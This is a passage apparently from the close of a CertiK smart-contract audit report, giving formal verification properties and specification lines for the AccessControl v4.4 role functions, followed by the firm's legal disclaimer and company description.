Apart from the Boolean connectives and the modal operators "always" (written `[]`) and "eventually" (written `<>`), we use the following predicates to reason about the validity of atomic propositions. They are evaluated on the contract's state whenever a discrete time step occurs:

- `requires [cond]` - the condition `cond`, which refers to a function's parameters, return values, and contract state variables, must hold when a function is invoked in order for it to exhibit a specified behavior.
- `ensures [cond]` - the condition `cond`, which refers to a function's parameters, return values, and both `\old` and current contract state variables, is guaranteed to hold when a function returns if the corresponding requires condition held when it was invoked.
- `invariant [cond]` - the condition `cond`, which refers only to contract state variables, is guaranteed to hold at every observable contract state.
- `constraint [cond]` - the condition `cond`, which refers to both `\old` and current contract state variables, is guaranteed to hold at every observable contract state except for the initial state after construction (because there is no previous state); constraints are used to restrict how contract state can change over time.

Description of the Analyzed AccessControl-v4.4 Properties

Properties related to function `renounceRole`

accesscontrol-renouncerole-revert-not-sender

The `renounceRole` function must revert if the caller is not the same as `account`.

Specification:

```
reverts_when account != msg.sender;
```

accesscontrol-renouncerole-succeed-role-renouncing

After execution, `renounceRole` must ensure the caller no longer has the renounced role.

Specification:

```
ensures !hasRole(role, account);
```

Properties related to function `DEFAULT_ADMIN_ROLE`

accesscontrol-default-admin-role

The default admin role must be invariant, ensuring consistent access control management.

Specification:

```
invariant DEFAULT_ADMIN_ROLE() == 0x00;
```

Properties related to function `hasRole`

accesscontrol-hasrole-change-state

The `hasRole` function must not change any state variables.

Specification:

```
assignable \nothing;
```

accesscontrol-hasrole-succeed-always

The `hasRole` function must always succeed, assuming that its execution does not run out of gas.

Specification:

```
reverts_only_when false;
```

Properties related to function `revokeRole`

accesscontrol-revokerole-correct-role-revoking

After execution, `revokeRole` must ensure the specified account no longer has the revoked role.

Specification:

```
ensures !hasRole(role, account);
```

Properties related to function `grantRole`

accesscontrol-grantrole-correct-role-granting

After execution, `grantRole` must ensure the specified account has the granted role.

Specification:

```
ensures hasRole(role, account);
```

Properties related to function `getRoleAdmin`

accesscontrol-getroleadmin-change-state

The `getRoleAdmin` function must not change any state variables.

Specification:

```
assignable \nothing;
```

accesscontrol-getroleadmin-succeed-always

The `getRoleAdmin` function must always succeed, assuming that its execution does not run out of gas.

Specification:

```
reverts_only_when false;
```

DISCLAIMER | CERTIK

This report is subject to the terms and conditions (including without limitation, description of services, confidentiality, disclaimer and limitation of liability) set forth in the Services Agreement, or the scope of services, and terms and conditions provided to you ("Customer" or the "Company") in connection with the Agreement. This report provided in connection with the Services set forth in the Agreement shall be used by the Company only to the extent permitted under the terms and conditions set forth in the Agreement. This report may not be transmitted, disclosed, referred to or relied upon by any person for any purposes, nor may copies be delivered to any other person other than the Company, without CertiK's prior written consent in each instance.

This report is not, nor should be considered, an "endorsement" or "disapproval" of any particular project or team. This report is not, nor should be considered, an indication of the economics or value of any "product" or "asset" created by any team or project that contracts CertiK to perform a security assessment. This report does not provide any warranty or guarantee regarding the absolute bug-free nature of the technology analyzed, nor do they provide any indication of the technologies proprietors, business, business model or legal compliance.

This report should not be used in any way to make decisions around investment or involvement with any particular project. This report in no way provides investment advice, nor should be leveraged as investment advice of any sort. This report represents an extensive assessing process intending to help our customers increase the quality of their code while reducing the high level of risk presented by cryptographic tokens and blockchain technology.

Blockchain technology and cryptographic assets present a high level of ongoing risk. CertiK's position is that each company and individual are responsible for their own due diligence and continuous security. CertiK's goal is to help reduce the attack vectors and the high level of variance associated with utilizing new and consistently changing technologies, and in no way claims any guarantee of security or functionality of the technology we agree to analyze.

The assessment services provided by CertiK is subject to dependencies and under continuing development. You agree that your access and/or use, including but not limited to any services, reports, and materials, will be at your sole risk on an as-is, where-is, and as-available basis. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The assessment reports could include false positives, false negatives, and other unpredictable results. The services may access, and depend upon, multiple layers of third-parties.

ALL SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF ARE PROVIDED "AS IS" AND "AS AVAILABLE" AND WITH ALL FAULTS AND DEFECTS WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED UNDER APPLICABLE LAW, CERTIK HEREBY DISCLAIMS ALL WARRANTIES, WHETHER EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS. WITHOUT LIMITING THE FOREGOING, CERTIK SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT, AND ALL WARRANTIES ARISING FROM COURSE OF DEALING, USAGE, OR TRADE PRACTICE. WITHOUT LIMITING THE FOREGOING, CERTIK MAKES NO WARRANTY OF ANY KIND THAT THE SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF, WILL MEET CUSTOMER'S OR ANY OTHER PERSON'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULT, BE COMPATIBLE OR WORK WITH ANY SOFTWARE, SYSTEM, OR OTHER SERVICES, OR BE SECURE, ACCURATE, COMPLETE, FREE OF HARMFUL CODE, OR ERROR-FREE. WITHOUT LIMITATION TO THE FOREGOING, CERTIK PROVIDES NO WARRANTY OR

UNDERTAKING, AND MAKES NO REPRESENTATION OF ANY KIND THAT THE SERVICE WILL MEET CUSTOMER'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULTS, BE COMPATIBLE OR WORK WITH ANY OTHER SOFTWARE, APPLICATIONS, SYSTEMS OR SERVICES, OPERATE WITHOUT INTERRUPTION, MEET ANY PERFORMANCE OR RELIABILITY STANDARDS OR BE ERROR FREE OR THAT ANY ERRORS OR DEFECTS CAN OR WILL BE CORRECTED.

WITHOUT LIMITING THE FOREGOING, NEITHER CERTIK NOR ANY OF CERTIK'S AGENTS MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND, EXPRESS OR IMPLIED AS TO THE ACCURACY, RELIABILITY, OR CURRENCY OF ANY INFORMATION OR CONTENT PROVIDED THROUGH THE SERVICE. CERTIK WILL ASSUME NO LIABILITY OR RESPONSIBILITY FOR (I) ANY ERRORS, MISTAKES, OR INACCURACIES OF CONTENT AND MATERIALS OR FOR ANY LOSS OR DAMAGE OF ANY KIND INCURRED AS A RESULT OF THE USE OF ANY CONTENT, OR (II) ANY PERSONAL INJURY OR PROPERTY DAMAGE, OF ANY NATURE WHATSOEVER, RESULTING FROM CUSTOMER'S ACCESS TO OR USE OF THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS.

ALL THIRD-PARTY MATERIALS ARE PROVIDED "AS IS" AND ANY REPRESENTATION OR WARRANTY OF OR CONCERNING ANY THIRD-PARTY MATERIALS IS STRICTLY BETWEEN CUSTOMER AND THE THIRD-PARTY OWNER OR DISTRIBUTOR OF THE THIRD-PARTY MATERIALS.

THE SERVICES, ASSESSMENT REPORT, AND ANY OTHER MATERIALS HEREUNDER ARE SOLELY PROVIDED TO CUSTOMER AND MAY NOT BE RELIED ON BY ANY OTHER PERSON OR FOR ANY PURPOSE NOT SPECIFICALLY IDENTIFIED IN THIS AGREEMENT, NOR MAY COPIES BE DELIVERED TO, ANY OTHER PERSON WITHOUT CERTIK'S PRIOR WRITTEN CONSENT IN EACH INSTANCE.

NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS.

THE REPRESENTATIONS AND WARRANTIES OF CERTIK CONTAINED IN THIS AGREEMENT ARE SOLELY FOR THE BENEFIT OF CUSTOMER. ACCORDINGLY, NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH REPRESENTATIONS AND WARRANTIES AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH REPRESENTATIONS OR WARRANTIES OR ANY MATTER SUBJECT TO OR RESULTING IN INDEMNIFICATION UNDER THIS AGREEMENT OR OTHERWISE.

FOR AVOIDANCE OF DOUBT, THE SERVICES, INCLUDING ANY ASSOCIATED ASSESSMENT REPORTS OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, TAX, LEGAL, REGULATORY, OR OTHER ADVICE.

Elevating Your Entire Web3 Journey

Founded in 2017 by leading academics in the field of Computer Science from both Yale and Columbia University, CertiK is a leading blockchain security company that serves to verify the security and correctness of smart contracts and blockchain-based protocols. Through the utilization of our world-class technical expertise, alongside our proprietary, innovative tech, we're able to support the success of our clients with best-in-class security, all whilst realizing our overarching vision; provable trust for all throughout all facets of blockchain.